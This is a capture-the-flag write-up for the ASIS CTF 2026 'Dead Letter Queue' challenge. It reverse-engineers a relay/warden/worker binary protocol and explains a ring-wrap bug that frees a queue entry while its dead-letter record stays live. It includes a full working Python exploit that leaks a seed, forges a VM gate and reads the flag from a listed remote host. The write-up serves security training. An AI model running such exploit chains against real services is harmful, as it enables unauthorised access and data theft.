$ cat writeup.md…
$ cat writeup.md…
ASIS CTF 2026
Task: stripped relay/warden/worker binaries run a TCP dead-letter queue over a custom binary protocol; goal is reading /flag via the worker VM. Solution: withdraw clears a queue entry even when its dead-letter ring scan misses (wrap bug), so a stale ring entry executes rewritten payloads; chain: VM seed leak, ACC commit, gated 0xAD flag read.
"A queue where lost messages go to panic quietly."
Remote:
nc 91.107.187.160 18111(mirror91.107.183.101 18111). Attachment:dead-letter-queuetarball with three stripped x86-64 PIE C binaries (Debian gcc 12.2):relay(22.5 KB, network listener),warden(14 KB, content approver),worker(14 KB, message executor VM).
English summary: a message-queue service is split across three processes. relay
listens on TCP, sets up a shared-memory ring plus IPC channels, and fork/execs a
warden (approves submitted content) and a worker (executes approved messages).
The flag is written to /tmp/dlq-secret-<pid>/flag (mode 0400) and only the worker
holds a directory fd to it. The goal is to make the worker execute its gated
flag-read operation and return the flag through the queue protocol to the TCP client.
Per TCP connection, relay:
dlq-ring (0x950 bytes, MAP_SHARED) — the shared job ring.warden and worker, passing the memfd and IPC fds./tmp/dlq-secret-<pid>/flag (mode 0400); worker keeps a
SECRETDIRFD pointing at that directory.offset 0x000 : job header {slot, seq}
offset slot*0x108 : entry
+0x08 u8 state (0 free / 1 alloc / 2 filled / 3 dead-letter)
+0x09 u8 class
+0x0A u16 len
+0x0C u32 tag
+0x10 u8 payload[0x100]
'(')state == 2, len == 0x70, and payload[0] ∈ {0xA1, 0x69}.{u32 seq, u16 slot, u16 len, u16 token, u64 hash64, u8 class, u8 status} where token(x) = (u16)(x*0x12B) ^ 0x35 and
hash64 is a custom 112-byte-input splitmix-style hash — the implementation at
warden 0x1580 is byte-identical to relay 0x3620 (modelled in hash64_entry).relay stores the verdict in a per-connection, per-slot record on its stack:
{valid, flag2, token, len, hash64, class}.'D')Processes entry[job.slot] iff state ∈ {2, 3} and len == 0x70
(worker 0x1341: sub eax,2; cmp al,1; ja — accepts both filled and
dead-letter states — this is half of the bug). Dispatch on payload[0]:
| byte | behaviour |
|---|---|
0xA1 | echo payload back |
0x69 | FNV-1a hash of payload |
0x92 | register VM (see below) |
0xAD | gated flag read (see below) |
Register VM (0x92) — magic 0xEE3575B7 must sit at p[8]; instructions follow
as dwords:
LOADI (0x59/0xCA) reg imm — load 32-bit halves into a register (regs ≤ 3).0xB9 arg — leak {seed, ACC, 0x203E3C5172C8138D, xmurmur(K2^seed)}[arg] into the
result payload, then stop. seed is the worker's per-process /dev/urandom value.0x96 arg — commit ACC := reg[arg], then stop.All VM bounds checks are correct (arg ≤ 3, reg ≤ 3, ip < count) — no OOB there.
Flag read (0xAD) gate — all must hold:
p[1] == 5memcmp(p+8, "/flag", 5) == 0ACC == xmurmur(h1 ^ 0x4154544143484D45) ("ATTACHME"), where
h1 is a 104-round chain over p[8:112] seeded with the worker's random seed:
st = (p[0]<<56 | p[1]<<48) ^ seed ^ 0x7B98A97884FA1989; per byte i:
st ^= b + i + 0x31EBD2704002B967; st = xmurmur(st); st = rol64(st, i+9)p[4:8] == fold32(xmurmur(f2 ^ 0x54575F3A17BC3EBC)) where f2 is the ACC target
from (3) (fold32(x) = x_lo ^ x_hi)On success: openat(SECRETDIRFD, "/flag" — literal string), the file contents become
the result payload, and 'D' relays it back to the TCP client. The random seed makes
the gate unforgeable offline — you must leak the seed first.
Request = 16-byte header + len payload bytes (all little-endian):
| off | size | field |
|---|---|---|
| 0 | 2 | magic "DQ" = 0x5144 |
| 2 | 1 | op |
| 3 | 1 | pad |
| 4 | 4 | handle (u32) |
| 8 | 2 | len (u16, hard-capped ≤ 0x100 at relay 0x29a5) |
| 10 | 2 | meta (u16) |
| 12 | 4 | checksum (u32) |
checksum = crc32(hdr[0:12]) ^ (len ? rol32(crc32(payload), 1) : 0) ^ 0x0C806284
Response = 16-byte ack {magic, op|0x80, status, field, (meta<<16)|payload_len, csum}
| op byte | char | action |
|---|---|---|
| 0x51 | Q | alloc slot |
| 0x2C | , | write payload into slot (entry → state 2) |
| 0x28 | ( | submit to warden |
| 0x67 | g | dead-letter the entry (state → 3, push onto ring) |
| 0x57 | W | withdraw a dead-lettered entry |
| 0x44 | D | drain: pop ring head, dispatch to worker |
handle = (tag << 8 | slot) ^ 0x8EE8D27D
alloc scan order: [8, 4, 6, 2, 1, 3, 5, 0, 7]
relay keeps a 6-slot circular dead-letter ring on its stack:
entry i : u8 used @ rsp+0x2c0+8i ; u32 slot @ rsp+0x2c4+8i
pop cursor @ rsp+0x2f0 ; push cursor @ rsp+0x2f1 ; count @ rsp+0x2f2 ; seq @ rsp+0x2f4
'g' pushes {used=1, slot}, count++, sets entry state = 3.'D' pops at the pop cursor, skipping entries with used != 1 (count-- per
skipped pop), then dispatches the first used entry (slot ≤ 8).'W' on a state-3 entry scans the ring only over [pop .. push)
forward, or [pop .. 5] when the ring is wrapped (relay 0x308a–0x310f):
indices below pop are never scanned. Whether or not the ring entry is found,
control flow jumps to 0x2f40, which clears the ENTRY (state → 0, len → 0,
payload zeroed). The ring record keeps used = 1 and count is not decremented.Result: a live ring entry {used=1, slot=S} survives while entry S itself is
freed. Q re-allocs slot S; , writes arbitrary 0x70-byte content (state = 2);
the worker accepts state 2 or 3, so 'D' popping the stale ring record executes
the rewritten payload. The drain response carries the worker's result — including the
flag file — back to the TCP client. A classic missing-wrap-handling state confusion:
the queue bookkeeping and the object lifetime desynchronize on a wrapped ring.
Relevant hardening that blocks shortcuts (verified): relay is single-threaded per
connection; verdict records and ring are zeroed per connection (0x27cd, rep stosq);
request length is hard-capped at 0x100.
Three jobs on one connection, ~100 ops, fully deterministic: job 0 leaks the
worker seed via the VM, job 1 commits the required ACC via the VM, job 2
passes the 0xAD gate and reads the flag.
6 × (Q; put harmless 0x69 msg (0x70 bytes); '('; 'g') fills ring[0..5] with
slots 8,4,6,2,1,3 (count = 6).4 × D pops ring[0..3] (dispatching harmless 0x69 FNV hashes): pop = 4,
count = 2, ring[4] = {1, slot1}, ring[5] = {1, slot3} still live.(Q; put; '('; 'g') on slot 8 lands at ring[0], push = 1. Now
pop = 4 > push = 1 — the ring is wrapped.W(slot 8): the wrapped scan covers [4..5] only, misses ring[0] → slot 8 is
freed while ring[0] = {1, 8} stays live. Resurrection primitive armed.Q re-allocs slot 8, put the VM-leak program
[0x92, 40, 0xEE3575B7, 0xB9, 0] (leak-arg 0 = seed), then D, D, D: the first two
drains pop the harmless live entries, the third pops the resurrected ring[0] and
the worker returns the 8-byte seed in the drain payload.
With the seed known, everything in the gate is computable: p[0] = 0xAD,
p[1] = 5, p[8:13] = "/flag", h1 = ad_chain(p[8:112], seed),
f2 = xmurmur(h1 ^ "ATTACHME"), p[4:8] = fold32(xmurmur(f2 ^ K2)).
Both use the same repeating template:
4 × (Q; put harmless; '('; 'g') on slots 8,4,6,2 → ring[1..4]; 4 × D
advances pop to 5, count = 0.'g' on slot 8 → ring[5] = {1, 8}, push = 0 < pop = 5.'g' on slot 4 → lands at ring[0], i.e. behind pop.W(slot 4): scan [5..5] sees only ring[5] → miss → slot 4 freed, ring[0]
stays live.Q re-allocs slot 4; put the rogue payload; D (dispatches sacrificial slot 8
harmlessly); D → the rogue executes on slot 4.[0xEE3575B7, 0x59, 0, f2_hi, 0xCA, 0, f2_lo, 0x96, 0]
(p[1] = 40) sets ACC := f2.0xAD message. The drain payload is the flag.exploit.py, verified local + remote)#!/usr/bin/env python3 """Dead Letter Queue — full exploit (ring-wrap resurrection). Bug: W on a dead-lettered entry scans the relay-local ring for [pop..push) (forward) or [pop..5] (wrapped) — and clears the ENTRY even when the ring entry is NOT found. On a wrapped ring, a live ring entry survives while its slot is freed. Re-alloc + put rogue (state=2 — worker accepts state 2 or 3!), then D dispatches it -> worker executes arbitrary VM / 0xAD flag-read. Chain: VM leak seed -> VM commit ACC := f2 -> 0xAD read flag. """ import socket, struct, sys, zlib KEY = 0x8EE8D27D M64 = (1 << 64) - 1 def xmurmur(x): x &= M64 x ^= x >> 30; x = (x * 0xBF58476D1CE4E5B9) & M64 x ^= x >> 27; x = (x * 0x94D049BB133111EB) & M64 x ^= x >> 31 return x def rol64(x, n): n &= 63 return ((x << n) | (x >> (64 - n))) & M64 if n else x def ad_chain(payload, seed): st = ((payload[0] << 56) | (payload[1] << 48)) & M64 st ^= seed & M64 st ^= 0x7B98A97884FA1989 for i in range(0x68): st ^= (payload[8 + i] + i + 0x31EBD2704002B967) & M64 st = xmurmur(st) st = rol64(st, i + 9) h1 = st f2 = xmurmur(h1 ^ 0x4154544143484D45) # "ATTACHME" f3 = xmurmur(f2 ^ 0x54575F3A17BC3EBC) chk = (f3 & 0xffffffff) ^ (f3 >> 32) return h1, f2, chk def rol32(x, n): return ((x << n) | (x >> (32 - n))) & 0xffffffff def checksum(hdr12, payload=b''): c = zlib.crc32(hdr12) & 0xffffffff if payload: c ^= rol32(zlib.crc32(payload) & 0xffffffff, 1) return (c ^ 0x0C806284) & 0xffffffff def mkmsg(op, field=0, meta=0, payload=b''): h = bytearray(16) h[0:2] = b'DQ' h[2] = op struct.pack_into('<I', h, 4, field & 0xffffffff) struct.pack_into('<H', h, 8, len(payload)) struct.pack_into('<H', h, 0xa, meta & 0xffff) struct.pack_into('<I', h, 0xc, checksum(bytes(h[:12]), payload)) return bytes(h) + payload class DQ: def __init__(self, host, port): self.s = socket.create_connection((host, port), timeout=30) def _rn(self, n): b = b'' while len(b) < n: c = self.s.recv(n - len(b)) if not c: raise EOFError('closed') b += c return b def op(self, op, field=0, meta=0, payload=b'', name='', expect=0): self.s.sendall(mkmsg(op, field, meta, payload)) h = self._rn(16) magic, rop, status = struct.unpack('<HBB', h[:4]) field, meta, csum = struct.unpack('<III', h[4:16]) ln = meta & 0xffff pl = self._rn(ln) if ln else b'' print(f' {name}: status={status:#04x}' + (f' payload[{len(pl)}]={pl[:48]!r}' if pl else '')) if expect is not None and status != expect: raise RuntimeError(f'{name}: expected status {expect:#x}, got {status:#x}') return status, field, pl def harmless(): m = bytearray(0x70); m[0] = 0x69 return bytes(m) def vm_prog(dwords): p = bytearray(0x70); p[0] = 0x92; p[1] = 40 p[8:8+4*len(dwords)] = b''.join(struct.pack('<I', d) for d in dwords) return bytes(p) def vm_leak(): return vm_prog([0xEE3575B7, 0xB9, 0]) def vm_commit(acc): return vm_prog([0xEE3575B7, 0x59, 0, (acc >> 32) & 0xffffffff, 0xCA, 0, acc & 0xffffffff, 0x96, 0]) def ad_msg(seed): p = bytearray(0x70); p[0] = 0xAD; p[1] = 5 p[8:13] = b'/flag' h1, f2, chk = ad_chain(bytes(p), seed) struct.pack_into('<I', p, 4, chk) return bytes(p), f2 class Exploit: def __init__(self, host, port): self.dq = DQ(host, port) self.h = {} # slot -> latest handle def Q(self, name='Q'): st, h, _ = self.dq.op(0x51, name=name) slot = (h ^ KEY) & 0xff self.h[slot] = h return slot def put(self, slot, payload, name='put'): st, _, _ = self.dq.op(0x2c, self.h[slot], 0, payload, name=name) return st def sub(self, slot): return self.dq.op(0x28, self.h[slot], 0, name='sub') def g(self, slot): return self.dq.op(0x67, self.h[slot], 0, name='g') def W(self, slot): return self.dq.op(0x57, self.h[slot], 0, name='W') def D(self, name='D', expect=None): return self.dq.op(0x44, name=name, expect=expect) def acycle(self, slotname): """Q; put harmless; submit; g (creates a dead letter).""" s = self.Q('Q_' + slotname) self.put(s, harmless(), name=f'putA[{s}]') self.sub(s) self.g(s) return s def setup(self): print('[*] setup: fill ring with 6 dead letters') for i in range(6): self.acycle(f'setup{i}') # slots 8,4,6,2,1,3 -> ring[0..5] print('[*] drain 4 (advance pop cursor)') for i in range(4): self.D(f'Dsetup{i}') # pop=4, count=2 (slots 1,3 still dead) print('[*] one more dead letter on slot 8 (ring[0], push wraps to 1)') self.acycle('re8') # slot8 -> ring[0]; pop=4 > push=1 (WRAPPED) print('[*] W slot8: wrapped scan [4..5] misses ring[0] -> slot freed, ring[0] LIVE') self.W(8) def job0(self, rogue): """After setup: pop=4, push=1, count=3, live = ring[4](slot1), ring[5](slot3), ring[0](slot8-ours). Realloc slot8, put rogue, drain 3 (two harmless + ours).""" print('[*] job0: realloc slot8 + put rogue (no sacrificial needed)') s = self.Q('Qrogue8') assert s == 8, s self.put(8, rogue, name='putROGUE') for i in range(2): self.D(f'Dnoise{i}') st, _, pl = self.D('DLOOT') return st, pl def job(self, rogue, target_slot=4): """Template: 4 sacrificial dead letters (slots 8,4,6,2) + 4 drains (pop wraps to 5, count=0); wrap-g on slot8 (push=0 < pop=5); target-g on slot4 lands at ring[0] BEHIND pop; W(slot4) scan [5..5] misses; realloc slot4; put rogue; D (harmless slot8) + D (rogue executes).""" print('[*] sacrificial dead letters (slots 8,4,6,2)') for sname in ('8', '4', '6', '2'): self.acycle('sac' + sname) print('[*] drain 4 sacrificial') for i in range(4): self.D(f'Dsac{i}') print('[*] wrap-g on slot 8 (push=0 < pop=5)') self.acycle('wrap8') print(f'[*] target dead letter on slot {target_slot} (lands BEHIND pop)') s = self.acycle(f'tgt{target_slot}') assert s == target_slot, s print(f'[*] W slot{target_slot}: scan [5..5] misses -> slot freed, ring entry live') self.W(target_slot) s = self.Q(f'Qrogue{target_slot}') assert s == target_slot, s print(f'[*] put ROGUE payload into slot {target_slot} (state=2)') self.put(target_slot, rogue, name='putROGUE') self.D('Dnoise') st, _, pl = self.D('DLOOT') return st, pl def main(host, port): ex = Exploit(host, port) ex.setup() print('\n[*] job0: VM seed leak') st, pl = ex.job0(vm_leak()) assert len(pl) >= 8, pl seed = struct.unpack('<Q', pl[:8])[0] print(f'\n[+] SEED = {seed:#018x}\n') print('[*] crafting 0xAD message') b2, f2 = ad_msg(seed) print(f'[+] f2 (ACC target) = {f2:#018x}\n') print('[*] job1: VM commit ACC := f2') st, pl = ex.job(vm_commit(f2)) print(f' commit status={st:#x} payload={pl!r}\n') print('[*] job2: 0xAD flag read') st, pl = ex.job(b2) print() if b'ASIS{' in pl or b'flag' in pl.lower(): print(f'[***] FLAG: {pl.decode(errors="replace").strip()}') else: print(f'[?] job2 status={st:#x} payload={pl!r}') if __name__ == '__main__': main(sys.argv[1] if len(sys.argv) > 1 else '127.0.0.1', int(sys.argv[2]) if len(sys.argv) > 2 else 18111)
'(' and
dead-letter 'g'): the , write clears the warden verdict record when
byte[record+1] != 0 (relay 0x2e9c); W and successful 'g' also clear it.
Warden and relay hash64 implementations are byte-identical, and records are zeroed
per connection — no stale-verdict confusion is possible.[0x10, 0x110), and entry1.state sits at exactly 0x110 — 8 bytes short, and the
request length is hard-capped at 0x100 (relay 0x29a5).'g' token forgery: the token check is tag-based, not seq-based (entry tag loaded
at 0x3037, token fn at 0x35e0) — nothing to confuse via seq reuse.arg ≤ 3, reg ≤ 3, ip < count) —
the VM is clean.'D' skip loop guards used != 1 and slot > 8,
so stale ring entries cannot be popped by luck — the W-miss (clear-without-find)
is the essential step of the chain.$ cat /etc/motd
Liked this one?
Pro unlocks every writeup, every flag, and API access. $9/mo.
$ cat pricing.md$ grep --similar